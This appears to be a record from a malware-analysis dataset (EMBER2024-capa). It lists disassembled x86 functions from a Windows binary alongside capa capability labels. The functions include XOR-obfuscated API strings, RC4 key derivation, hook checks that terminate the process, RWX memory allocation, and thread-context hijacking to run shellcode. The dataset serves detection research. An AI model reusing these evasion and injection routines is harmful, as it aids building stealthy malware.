joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008400
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movaps xmm0, xmmword [0x10019100]
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
push esi
movaps xmm0, xmmword [0x100190e0]
movups xmmword [ebp - 0x24], xmm0
movaps xmm0, xmmword [0x10019010]
movups xmmword [ebp - 0x14], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x2e
jb 0x10008430
push 0
push 1
lea eax, [ebp - 0x33]
mov byte [ebp - 5], 0
push eax
push 0
push 0x1001ef34
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1000851c
push 0x1001ef30
push 0
push 0
push 0x8004
push dword [0x1001ef34]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1000851c
movaps xmm0, xmmword [0x100190a0]
xor ecx, ecx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x247c2a2d
movaps xmm0, xmmword [0x10019140]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0x2e783e0c
movaps xmm0, xmmword [0x10019110]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x6d3c3619
mov word [ebp - 4], 0x31
nop
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x3c
jb 0x100084c0
push 1
push 0x3c
lea eax, [ebp - 0x3f]
mov byte [ebp - 3], 0
push eax
push dword [0x1001ef30]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1000851c
push 0x1001ef2c
push 0x800000
push dword [0x1001ef30]
push 0x6801
push dword [0x1001ef34]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x1000851c
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x1001ef28], eax
call fcn.1000fa80
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.1000ff50
push 0x100082e0
push 0x1001ef24
call fcn.1000f790
call fcn.1000fae0
push 4
push 0x60f6e0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000858a
mov dword [0x1001ef24], 0x60f6e0
call fcn.1000fa80
call esi
push eax
call fcn.1000ff50
push 0x100082e0
push 0x1001ef24
call fcn.1000f300
call fcn.1000fae0
call fcn.1000fa80
call esi
push eax
call fcn.1000ff50
push 0x10008310
push 0x1001ef20
call fcn.1000f790
call fcn.1000fae0
push 4
push 0x60eab0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100085e7
mov dword [0x1001ef20], 0x60eab0
call fcn.1000fa80
call esi
push eax
call fcn.1000ff50
push 0x10008310
push 0x1001ef20
call fcn.1000f300
call fcn.1000fae0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10009c70
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov byte [ebp - 0x1c], 0x6c
mov al, 0x3b
xor al, byte [ebp - 0x1c]
mov cl, 0x3f
xor cl, byte [ebp - 0x1c]
mov ah, 0x5f
mov byte [ebp - 0x1b], al
mov dl, 0x5e
mov byte [ebp - 0x1a], cl
mov ch, dl
mov cl, byte [ebp - 0x1c]
mov dh, 0x42
mov byte [ebp - 1], 0
xor ah, cl
mov al, byte [ebp - 1]
xor dl, cl
xor al, cl
mov byte [ebp - 2], 0
mov byte [ebp - 0x13], al
xor ch, cl
mov al, byte [ebp - 2]
xor dh, cl
xor al, cl
mov byte [ebp - 0x17], ah
mov byte [ebp - 0x12], al
mov bl, 0x33
mov bh, 8
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x19], dl
xor bl, cl
mov byte [ebp - 0x16], ch
xor bh, cl
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x15], dh
mov byte [ebp - 0x14], bh
mov byte [ebp - 0x11], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x10009cf1
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ah, 2
mov byte [ebp - 0xb], 0
mov al, 0x71
mov byte [ebp - 0x10], ah
xor al, ah
mov byte [ebp - 0xb], 0
mov cl, 0x67
mov byte [ebp - 0xf], al
mov dl, 0x6c
mov bl, 0x66
xor cl, ah
xor dl, ah
xor bl, ah
mov byte [ebp - 0xe], cl
lea eax, [ebp - 0xf]
mov byte [ebp - 0xd], dl
push eax
push esi
mov byte [ebp - 0xc], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10009ce9
mov ecx, eax
call fcn.10009690
cmp al, 0xe9
je 0x10009ce9
mov bh, 0x65
mov byte [ebp - 8], 0
xor ah, ah
mov byte [ebp - 0x10], bh
mov al, 0x32
xor ah, bh
xor al, bh
mov byte [ebp - 0xb], ah
mov cl, 0x36
mov byte [ebp - 0xf], al
mov bl, cl
lea eax, [ebp - 0xf]
mov dl, 0x24
mov ch, 0xb
mov dh, 1
xor cl, bh
push eax
xor dl, bh
mov byte [ebp - 0xe], cl
xor ch, bh
mov byte [ebp - 0xd], dl
xor dh, bh
mov byte [ebp - 0xa], ch
xor bl, bh
mov byte [ebp - 9], dh
push esi
mov byte [ebp - 0xc], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop esi
pop ebx
test eax, eax
je 0x10009d8a
mov ecx, eax
call fcn.10009690
cmp al, 0xe9
jne 0x10009d92
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x10009da0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov byte [ebp - 0x1c], 0x30
mov al, 0x67
xor al, byte [ebp - 0x1c]
mov cl, 0x63
xor cl, byte [ebp - 0x1c]
mov ah, 3
mov byte [ebp - 0x1b], al
mov dl, 2
mov byte [ebp - 0x1a], cl
mov ch, dl
mov cl, byte [ebp - 0x1c]
mov dh, 0x1e
mov byte [ebp - 1], 0x5c
xor ah, cl
mov al, byte [ebp - 1]
xor dl, cl
xor al, cl
mov byte [ebp - 2], 0x5c
mov byte [ebp - 0x13], al
xor ch, cl
mov al, byte [ebp - 2]
xor dh, cl
xor al, cl
mov byte [ebp - 0x17], ah
mov byte [ebp - 0x12], al
mov bl, 0x6f
mov bh, 0x54
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x19], dl
xor bl, cl
mov byte [ebp - 0x16], ch
xor bh, cl
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x15], dh
mov byte [ebp - 0x14], bh
mov byte [ebp - 0x11], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x10009e21
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ah, 0x4c
mov byte [ebp - 0xb], 0
mov al, 0x3e
mov byte [ebp - 0x10], ah
xor al, ah
mov byte [ebp - 0xb], 0
mov cl, 0x29
mov byte [ebp - 0xf], al
mov dl, 0x2f
mov bl, 0x3a
xor cl, ah
xor dl, ah
xor bl, ah
mov byte [ebp - 0xe], cl
lea eax, [ebp - 0xf]
mov byte [ebp - 0xd], dl
push eax
push esi
mov byte [ebp - 0xc], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10009e19
mov ecx, eax
call fcn.10009690
cmp al, 0xe9
je 0x10009e19
mov bh, 0x7a
mov byte [ebp - 8], 0
mov al, 0x2d
mov byte [ebp - 0x10], bh
mov ah, 0x1f
mov byte [ebp - 8], 0
xor al, bh
xor ah, bh
mov byte [ebp - 0xf], al
mov cl, 0x29
mov byte [ebp - 0xb], ah
mov dl, 0x3b
lea eax, [ebp - 0xf]
mov ch, 0x19
mov dh, 0xc
mov bl, 0x28
push eax
xor cl, bh
xor dl, bh
xor ch, bh
mov byte [ebp - 0xe], cl
xor dh, bh
mov byte [ebp - 0xd], dl
xor bl, bh
mov byte [ebp - 0xa], ch
push esi
mov byte [ebp - 0xc], bl
mov byte [ebp - 9], dh
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop esi
pop ebx
test eax, eax
je 0x10009ebe
mov ecx, eax
call fcn.10009690
cmp al, 0xe9
jne 0x10009ec6
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x1000b0b0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1001d018]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x6d12c0
call fcn.10009690
cmp al, 0xe9
jne 0x1000b0d6
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 4
push 0x6d12c0
call esi
test eax, eax
jne 0x1000b119
mov dword [0x1001ef4c], 0x6d12c0
call fcn.1000fa80
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.1000ff50
push 0x10009f30
push 0x1001ef4c
call fcn.1000f300
call fcn.1000fae0
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x6d141e
push eax
call esi
test eax, eax
jne 0x1000b15d
push 4
push 0x10009ed0
call esi
test eax, eax
jne 0x1000b15d
call fcn.1000fa80
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.1000ff50
push 0x10009ed0
lea eax, [ebp - 8]
push eax
call fcn.1000f300
call fcn.1000fae0
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10010e30
mov esp, ebp
pop ebp
ret
Function at 0x1000b2e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [0x1001d018]
xor eax, esp
mov dword [esp + 0x38], eax
movaps xmm0, xmmword [0x100190d0]
xor ecx, ecx
mov eax, dword [0x1001efb4]
push ebx
push esi
push edi
mov edi, dword [0x1001efb0]
mov dword [esp + 0xc], edi
mov dword [esp + 0x24], eax
movups xmmword [esp + 0x10], xmm0
mov byte [esp + 0x20], 0
nop dword [eax]
mov al, byte [esp + 0x10]
xor byte [esp + ecx + 0x11], al
inc ecx
cmp ecx, 0xf
jb 0x1000b320
sub esp, 0x18
mov byte [esp + 0x38], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [esp + 0x29], 0
jne 0x1000b354
xor ecx, ecx
jmp 0x1000b369
lea ecx, [esp + 0x29]
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000b360
sub ecx, esi
push ecx
lea eax, [esp + 0x2d]
mov ecx, edx
push eax
call fcn.10004300
lea ecx, [esp + 0x44]
call fcn.1000d360
mov edx, dword [esp + 0x44]
add esp, 0x18
xor ebx, ebx
test edi, edi
mov edi, dword [esp + 0x40]
jle 0x1000b3ce
cmp edi, 0x10
lea ecx, [esp + 0x2c]
cmovae ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000b3a0
sub ecx, esi
mov eax, ebx
cmp edi, 0x10
lea esi, [esp + 0x2c]
cmovae esi, edx
xor edx, edx
div ecx
mov ecx, dword [esp + 0x24]
mov al, byte [edx + esi]
xor byte [ecx + ebx], al
inc ebx
mov edx, dword [esp + 0x2c]
cmp ebx, dword [esp + 0xc]
jl 0x1000b390
cmp edi, 0x10
jb 0x1000b3dd
lea eax, [edi + 1]
push eax
push edx
call fcn.10004a70
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10010e30
mov esp, ebp
pop ebp
ret
Function at 0x1000c4a0
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x1001d018]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x6c
mov dword [ebp - 0x2f8], 0x183e6c
mov dword [ebp - 0x2f4], 0x80d0320
xor eax, eax
mov dword [ebp - 0x2f0], 0x51e183f
mov word [ebp - 0x2ec], 0xb02
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1000c4fa
mov cl, byte [ebp - 0x2f8]
jmp 0x1000c4e5
push ebx
mov byte [ebp - 0x2e8], 0x10
mov al, 0x7e
xor al, byte [ebp - 0x2e8]
mov bl, 0x7c
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x74
mov bh, ah
mov byte [ebp - 0x2d9], ah
xor bl, al
mov byte [ebp - 0x2de], 0
xor ah, al
mov byte [ebp - 0x2ea], 0
xor bh, al
mov byte [ebp - 0x2e3], ah
mov dh, dl
mov byte [ebp - 0x2e4], bl
xor dl, al
mov byte [ebp - 0x2e0], bh
xor dh, al
mov byte [ebp - 0x2e5], dl
mov cl, 0x64
mov byte [ebp - 0x2e1], dh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x3e
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2f7]
push esi
push eax
lea eax, [ebp - 0x2e7]
mov byte [ebp - 0x2e2], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x1000c5c1
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010e30
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000c5af
push 0x2cc
lea eax, [ebp - 0x2d8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1000c5af
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1000c5af
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000c5af
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001e80
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000c5af
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.10010e30
mov esp, ebp
pop ebp
ret
Function at 0x1000c690
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov byte [ebp - 0x14], 2
mov al, 0x6c
xor al, byte [ebp - 0x14]
mov bl, 0x6e
mov ah, bl
mov byte [ebp - 0x13], al
mov al, byte [ebp - 0x14]
mov dl, 0x66
mov bh, ah
mov byte [ebp - 1], ah
mov dh, dl
mov byte [ebp - 0xa], 0
xor dl, al
mov byte [ebp - 0xa], 0
xor bl, al
mov byte [ebp - 0x11], dl
xor ah, al
mov byte [ebp - 0x10], bl
xor dh, al
mov byte [ebp - 0xf], ah
xor bh, al
mov byte [ebp - 0xd], dh
mov cl, 0x76
mov byte [ebp - 0xc], bh
xor cl, al
mov ch, 0x2c
xor ch, al
mov byte [ebp - 0x12], cl
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x14]
mov esi, dword [0x1001efbc]
mov byte [ebp - 0xb], al
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0xe], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
jne 0x1000c70c
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x10019070]
xor eax, eax
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x170d310b
mov dword [ebp - 0x18], 0x10400
mov cl, byte [ebp - 0x2c]
xor byte [ebp + eax - 0x2b], cl
inc eax
cmp eax, 0x16
jb 0x1000c727
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x15], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000c703
test esi, esi
jne 0x1000c755
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
pop edi
test eax, eax
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c770
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1001d018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
call fcn.10007d80
test eax, eax
je 0x1000c87c
push esi
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
test eax, eax
setne bl
test ebx, ebx
je 0x1000c87c
push eax
call esi
test ebx, ebx
je 0x1000c87c
movaps xmm0, xmmword [0x10019030]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
nop dword [eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0xe
jb 0x1000c7d0
mov byte [ebp - 0x18], 0x30
mov al, 0x5e
xor al, byte [ebp - 0x18]
mov bl, 0x5c
mov ah, bl
mov byte [ebp - 0x17], al
mov al, byte [ebp - 0x18]
mov dl, 0x54
mov bh, ah
mov byte [ebp - 9], ah
xor bl, al
mov byte [ebp - 0xe], 0
xor ah, al
mov byte [ebp - 0x19], 0
xor bh, al
mov byte [ebp - 0x13], ah
mov dh, dl
mov byte [ebp - 0x14], bl
xor dl, al
mov byte [ebp - 0x10], bh
xor dh, al
mov byte [ebp - 0x15], dl
mov cl, 0x44
mov byte [ebp - 0x11], dh
xor cl, al
mov byte [ebp - 0xe], 0
mov ch, 0x1e
mov byte [ebp - 0x16], cl
xor ch, al
mov al, byte [ebp - 9]
xor al, byte [ebp - 0x18]
mov byte [ebp - 0xf], al
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x17]
mov byte [ebp - 0x12], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x116e058
mov ebx, eax
call fcn.10009700
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x1000c895
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push edi
call ebx
test eax, eax
jns 0x1000c884
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 8], 0
jbe 0x1000c892
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10010e30
mov esp, ebp
pop ebp
ret

Function at 0x1000d360
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012df8
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x1001d018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x84], 0
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x7c]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x7c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
call fcn.1000d0f0
lea ecx, [ebp - 0x7c]
call fcn.1000d1a0
push esi
lea ecx, [ebp - 0x7c]
call fcn.1000d290
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x1000d407
inc ecx
push ecx
push dword [ebp + 8]
call fcn.10004a70
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10010e30
mov esp, ebp
pop ebp
ret
Function at 0x1000de80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012ebe
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1001d018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [section..data]
cmp eax, 0xffffffff
jne 0x1000deb6
xor ebx, ebx
jmp 0x1000debf
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
test ebx, ebx
je 0x1000df01
nop dword [eax]
cmp dword [ebx + 0x18], 0
mov esi, dword [ebx + 0xc]
jne 0x1000df40
test esi, esi
jne 0x1000df44
push 0x1000dac0
push 0x1001eae0
call fcn.1000d7b0
mov eax, dword [section..data]
add esp, 8
cmp eax, 0xffffffff
je 0x1000df01
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [ebp - 4], 1
test ebx, ebx
je 0x1000df2e
or eax, 0xffffffff
lock xadd dword [ebx + 4], eax
jne 0x1000df2e
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x1000df86
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x1000df6f
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x1000df44
cmp dword [ebx + 0x18], 0
je 0x1000ded0
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x1000dfad
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1000dfad
push eax
mov eax, dword [esi + 0x14]
push ecx
call eax
add esp, 8
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebx + 0x14]
call fcn.1000dae0
cmp dword [ebx + 0x18], 0
jne 0x1000df90
jmp 0x1000ded0
Function at 0x1000e160
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1000e330
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1000e23d
mov edx, dword [ebp - 4]
cmp edx, dword [0x1001d004]
jb 0x1000e1aa
mov eax, dword [ebp - 4]
cmp eax, dword [0x1001d008]
ja 0x1000e1aa
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1000e17a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1000e1cf
jmp 0x1000e23d
cmp dword [ebp - 0x14], 0x10000
jne 0x1000e223
cmp dword [ebp - 0x18], 0x10000
jb 0x1000e223
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000e206
mov eax, dword [ebp - 8]
jmp 0x1000e23f
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1000e216
xor eax, eax
jmp 0x1000e23f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1000e238
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1000e330
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1000e17a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1000e250
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1000e360
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1000e325
mov edx, dword [ebp - 4]
cmp edx, dword [0x1001d004]
jb 0x1000e295
mov eax, dword [ebp - 4]
cmp eax, dword [0x1001d008]
ja 0x1000e295
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1000e265
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1000e2ba
jmp 0x1000e325
cmp dword [ebp - 0x14], 0x10000
jne 0x1000e30e
cmp dword [ebp - 0x18], 0x10000
jb 0x1000e30e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000e2f1
mov eax, dword [ebp - 8]
jmp 0x1000e327
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1000e301
xor eax, eax
jmp 0x1000e327
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1000e320
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1000e360
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1000e265
xor eax, eax
mov esp, ebp
pop ebp
ret